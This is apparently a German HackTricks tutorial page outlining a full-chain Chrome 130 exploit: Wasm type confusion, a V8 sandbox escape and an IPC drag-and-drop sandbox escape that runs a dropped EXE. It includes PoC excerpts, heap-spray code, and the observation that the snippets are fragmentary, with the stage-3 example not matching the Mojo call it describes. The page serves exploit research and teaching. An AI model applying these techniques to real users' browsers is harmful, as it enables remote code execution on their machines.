Chrome Exploiting

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Diese Seite bietet einen übergeordneten, aber praktischen Überblick über einen modernen “full-chain” Exploitation-Workflow gegen Google Chrome 130, basierend auf der Research-Serie “101 Chrome Exploitation” (Part-0 — Preface). Ziel ist es, pentesters und exploit-developers das minimale Hintergrundwissen zu vermitteln, das notwendig ist, um die Techniken für ihre eigene Forschung zu reproduzieren oder anzupassen.

1. Chrome-Architektur — Überblick

Um die Angriffsfläche zu verstehen, muss man wissen, wo Code ausgeführt wird und welche Sandboxes gelten.

Chrome-Prozess- & Sandbox-Layout ```text +-------------------------------------------------------------------------+ | Chrome Browser | | | | +----------------------------+ +-----------------------------+ | | | Renderer Process | | Browser/main Process | | | | [No direct OS access] | | [OS access] | | | | +----------------------+ | | | | | | | V8 Sandbox | | | | | | | | [JavaScript / Wasm] | | | | | | | +----------------------+ | | | | | +----------------------------+ +-----------------------------+ | | | IPC/Mojo | | | V | | | +----------------------------+ | | | | GPU Process | | | | | [Restricted OS access] | | | | +----------------------------+ | | +-------------------------------------------------------------------------+ ```

Mehrschichtige Defense-in-Depth:

  • V8 sandbox (Isolieren): Die Speicherberechtigungen sind eingeschränkt, um arbitrary read/write durch JITed JS / Wasm zu verhindern.
  • Renderer ↔ Browser-Trennung wird über Mojo/IPC message passing sichergestellt; der Renderer hat keinen nativen FS/Netzwerkzugriff.
  • OS sandboxes begrenzen außerdem jeden Prozess (Windows Integrity Levels / seccomp-bpf / macOS sandbox profiles).

Ein Remote-Angreifer benötigt daher drei aufeinanderfolgende Primitives:

  1. Memory corruption innerhalb von V8, um arbitrary RW inside the V8 heap zu erlangen.
  2. Ein zweiter Bug, der dem Angreifer ermöglicht, escape the V8 sandbox to full renderer memory.
  3. Ein finaler sandbox-escape (häufig Logikfehler statt memory corruption), um Code outside of the Chrome OS sandbox auszuführen.

2. Phase 1 – WebAssembly Type-Confusion (CVE-2025-0291)

Ein Fehler in TurboFan’s Turboshaft-Optimierung missklassifiziert WasmGC reference types, wenn der Wert innerhalb einer einzelnen basic block loop erzeugt und konsumiert wird.

Auswirkung:

  • Der Compiler überspringt die Typprüfung, behandelt eine reference (externref/anyref) als int64.
  • Gezielt konstruiertes Wasm erlaubt das Überlappen eines JS-Objekt-Headers mit vom Angreifer kontrollierten Daten → addrOf() & fakeObj() AAW / AAR primitives.

Minimaler PoC (Auszug):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Trigger-Optimierung & spray objects from JS:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Outcome: arbitrary read/write within V8.

3. Stage 2 – Ausbruch aus der V8 Sandbox (issue 379140430)

Wenn eine Wasm-Funktion tier-up-compiled wird, wird ein JS ↔ Wasm wrapper generiert. Ein Signatur-Mismatch-Bug verursacht, dass der Wrapper über das Ende eines vertrauenswürdigen Tuple2-Objekts hinaus schreibt, wenn die Wasm-Funktion neu optimiert wird während sie sich noch auf dem Stack befindet.

Durch Überschreiben der 2 × 64-bit Felder des Tuple2-Objekts erhält man read/write auf jede Adresse innerhalb des Renderer-Prozesses, was die V8-Sandbox effektiv umgeht.

Wesentliche Schritte im Exploit:

  1. Bringe die Funktion in den Tier-Up-Zustand, indem man zwischen turbofan- und baseline-Code wechselt.
  2. Löse Tier-Up aus, während eine Referenz auf dem Stack gehalten wird (Function.prototype.apply).
  3. Nutze Stage-1 AAR/AAW, um das angrenzende Tuple2 zu finden und zu beschädigen.

Wrapper identification:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Nach der Korruption verfügen wir über ein voll funktionsfähiges renderer R/W primitive.

4. Phase 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)

Die Mojo IPC-Schnittstelle blink.mojom.DragService.startDragging() kann vom Renderer mit teilweise vertrauenswürdigen Parametern aufgerufen werden. Durch das Erstellen einer DragData-Struktur, die auf einen beliebigen Dateipfad zeigt, überzeugt der renderer den Browser, ein native Drag-and-Drop außerhalb der renderer sandbox durchzuführen.

Wenn wir das missbrauchen, können wir programmgesteuert eine bösartige EXE (zuvor an einem für alle schreibbaren Ort abgelegt) auf den Desktop ziehen, wo Windows beim Ablegen bestimmte Dateitypen automatisch ausführt.

Beispiel (vereinfacht):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Keine zusätzliche Speicherkorruption ist erforderlich – der Logikfehler ermöglicht uns die Ausführung beliebiger Dateien mit den Privilegien des Benutzers.

5. Vollständiger Ablauf der Kette

  1. Benutzer besucht eine bösartige Webseite.
  2. Stufe 1: Wasm-Modul missbraucht CVE-2025-0291 → V8 heap AAR/AAW.
  3. Stufe 2: Wrapper-Mismatch korrumpiert Tuple2 → V8-Sandbox umgehen.
  4. Stufe 3: startDragging() IPC → OS-Sandbox umgehen & payload ausführen.

Ergebnis: Remote Code Execution (RCE) auf dem Host (Chrome 130, Windows/Linux/macOS).

6. Labor- & Debugging-Setup

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Nützliche Flags beim Starten eines Entwicklungs-Builds von Chrome:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

7. Renderer → kernel escape resource

Wenn ein Renderer-Exploit einen kernel pivot benötigt, der innerhalb des seccomp profile bleibt, bietet das Ausnutzen von AF_UNIX MSG_OOB sockets, die weiterhin innerhalb der sandbox erreichbar sind, einen deterministischen Pfad. Siehe die Linux kernel exploitation case-study unten für die SKB UAF → kernel RCE chain:

Af Unix Msg Oob Uaf Skb Primitives

Erkenntnisse

  • WebAssembly JIT bugs bleiben ein verlässlicher Einstiegspunkt – das Typensystem ist noch jung.
  • Das Erlangen eines zweiten memory-corruption bugs innerhalb von V8 (z. B. wrapper mismatch) vereinfacht die V8-sandbox escape erheblich.
  • Logikbasierte Schwächen in privilegierten Mojo IPC-Interfaces sind oft ausreichend für einen final sandbox escape – achten Sie auf non-memory bugs.

Quellen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks